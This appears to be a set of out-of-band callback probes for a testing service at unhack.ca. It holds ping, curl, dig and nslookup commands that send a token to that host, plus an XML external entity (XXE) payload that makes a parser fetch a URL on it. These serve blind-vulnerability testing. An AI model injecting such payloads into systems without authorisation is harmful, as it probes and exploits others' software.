$ ping -c1 -p 00f9c56d972b128ae62c14ab86f67700 unhack.ca
 

$ curl http://unhack.ca/p/f9c56d972b128ae62c14ab86f677
 

$ dig f9c56d972b128ae62c14ab86f677 @unhack.ca
 

$ dig f9c56d972b128ae62c14ab86f677.ns.unhack.ca
 

C:\> nslookup f9c56d972b128ae62c14ab86f677 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/f9c56d972b128ae62c14ab86f677">]>
    <foo>&xxe;</foo>